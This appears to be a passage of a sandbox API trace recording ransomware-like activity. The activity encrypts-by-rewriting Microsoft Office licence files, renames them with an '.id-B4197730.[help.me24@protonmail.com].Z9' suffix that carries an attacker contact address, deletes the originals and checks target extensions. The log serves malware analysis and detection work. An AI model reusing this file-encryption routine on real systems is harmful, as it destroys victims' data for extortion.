	[0182.950] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0182.951] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.951] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x114, lpOverlapped=0x0) returned 1
	[0182.951] SetEndOfFile (hFile=0x550) returned 1
	[0182.951] CloseHandle (hObject=0x550) returned 1
	[0182.951] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.952] SetEndOfFile (hFile=0x554) returned 1
	[0182.955] CloseHandle (hObject=0x554) returned 1
	[0182.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".doc") returned 4
	[0182.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".docx") returned 5
	[0182.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.957] lstrlenW (lpString=".pdf") returned 4
	[0182.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".xls") returned 4
	[0182.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".xlsx") returned 5
	[0182.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.957] lstrlenW (lpString=".ppt") returned 4
	[0182.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".zip") returned 4
	[0182.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".rar") returned 4
	[0182.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".bz2") returned 4
	[0182.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString=".7z") returned 3
	[0182.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".dbf") returned 4
	[0182.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".1cd") returned 4
	[0182.957] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".jpg") returned 4
	[0182.957] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.957] lstrlenW (lpString=".doc") returned 4
	[0182.958] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".docx") returned 5
	[0182.958] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.958] lstrlenW (lpString=".pdf") returned 4
	[0182.958] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".xls") returned 4
	[0182.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".xlsx") returned 5
	[0182.958] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.958] lstrlenW (lpString=".ppt") returned 4
	[0182.958] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.958] lstrlenW (lpString=".zip") returned 4
	[0182.958] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".rar") returned 4
	[0182.958] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".bz2") returned 4
	[0182.958] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString=".7z") returned 3
	[0182.958] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.958] lstrlenW (lpString=".dbf") returned 4
	[0182.958] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.958] lstrlenW (lpString=".1cd") returned 4
	[0182.958] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0182.958] lstrlenW (lpString=".jpg") returned 4
	[0182.958] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.958] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.958] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30
	[0182.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.959] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=21604) returned 1
	[0182.959] CloseHandle (hObject=0x554) returned 1
	[0182.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220
	[0182.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.960] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.960] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0182.961] GetLastError () returned 0x0
	[0182.961] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x5464, lpOverlapped=0x0) returned 1
	[0183.163] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x5470, lpOverlapped=0x0) returned 1
	[0183.165] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.165] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0183.165] SetEndOfFile (hFile=0x550) returned 1
	[0183.190] CloseHandle (hObject=0x550) returned 1
	[0183.195] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.195] SetEndOfFile (hFile=0x554) returned 1
	[0183.426] CloseHandle (hObject=0x554) returned 1
	[0183.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".doc") returned 4
	[0183.428] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".docx") returned 5
	[0183.428] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.428] lstrlenW (lpString=".pdf") returned 4
	[0183.428] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".xls") returned 4
	[0183.428] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".xlsx") returned 5
	[0183.428] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.428] lstrlenW (lpString=".ppt") returned 4
	[0183.428] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".zip") returned 4
	[0183.428] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".rar") returned 4
	[0183.428] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".bz2") returned 4
	[0183.428] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString=".7z") returned 3
	[0183.428] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".dbf") returned 4
	[0183.428] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".1cd") returned 4
	[0183.428] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".jpg") returned 4
	[0183.428] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.428] lstrlenW (lpString=".doc") returned 4
	[0183.429] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".docx") returned 5
	[0183.429] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.429] lstrlenW (lpString=".pdf") returned 4
	[0183.429] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".xls") returned 4
	[0183.429] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".xlsx") returned 5
	[0183.429] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.429] lstrlenW (lpString=".ppt") returned 4
	[0183.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.429] lstrlenW (lpString=".zip") returned 4
	[0183.429] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".rar") returned 4
	[0183.429] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".bz2") returned 4
	[0183.429] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString=".7z") returned 3
	[0183.429] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.429] lstrlenW (lpString=".dbf") returned 4
	[0183.429] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.429] lstrlenW (lpString=".1cd") returned 4
	[0183.429] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0183.429] lstrlenW (lpString=".jpg") returned 4
	[0183.429] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.429] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.429] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33
	[0183.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.430] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11620) returned 1
	[0183.431] CloseHandle (hObject=0x554) returned 1
	[0183.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0183.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.431] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.431] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0183.432] GetLastError () returned 0x0
	[0183.432] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d64, lpOverlapped=0x0) returned 1
	[0183.435] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0183.436] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.436] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x116, lpOverlapped=0x0) returned 1
	[0183.437] SetEndOfFile (hFile=0x550) returned 1
	[0183.437] CloseHandle (hObject=0x550) returned 1
	[0183.437] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.437] SetEndOfFile (hFile=0x554) returned 1
	[0183.443] CloseHandle (hObject=0x554) returned 1
	[0183.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.444] lstrlenW (lpString=".doc") returned 4
	[0183.444] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".docx") returned 5
	[0183.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.444] lstrlenW (lpString=".pdf") returned 4
	[0183.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".xls") returned 4
	[0183.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".xlsx") returned 5
	[0183.444] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.444] lstrlenW (lpString=".ppt") returned 4
	[0183.444] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".zip") returned 4
	[0183.445] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".rar") returned 4
	[0183.445] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".bz2") returned 4
	[0183.445] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".7z") returned 3
	[0183.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".dbf") returned 4
	[0183.445] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".1cd") returned 4
	[0183.445] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".jpg") returned 4
	[0183.445] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".doc") returned 4
	[0183.445] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".docx") returned 5
	[0183.445] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.445] lstrlenW (lpString=".pdf") returned 4
	[0183.445] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".xls") returned 4
	[0183.445] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".xlsx") returned 5
	[0183.445] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.445] lstrlenW (lpString=".ppt") returned 4
	[0183.445] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.445] lstrlenW (lpString=".zip") returned 4
	[0183.446] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.446] lstrlenW (lpString=".rar") returned 4
	[0183.446] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.446] lstrlenW (lpString=".bz2") returned 4
	[0183.446] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.446] lstrlenW (lpString=".7z") returned 3
	[0183.446] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.446] lstrlenW (lpString=".dbf") returned 4
	[0183.446] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.446] lstrlenW (lpString=".1cd") returned 4
	[0183.446] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0183.446] lstrlenW (lpString=".jpg") returned 4
	[0183.446] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.446] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.446] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31
	[0183.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.447] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11175) returned 1
	[0183.447] CloseHandle (hObject=0x554) returned 1
	[0183.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0183.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.448] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
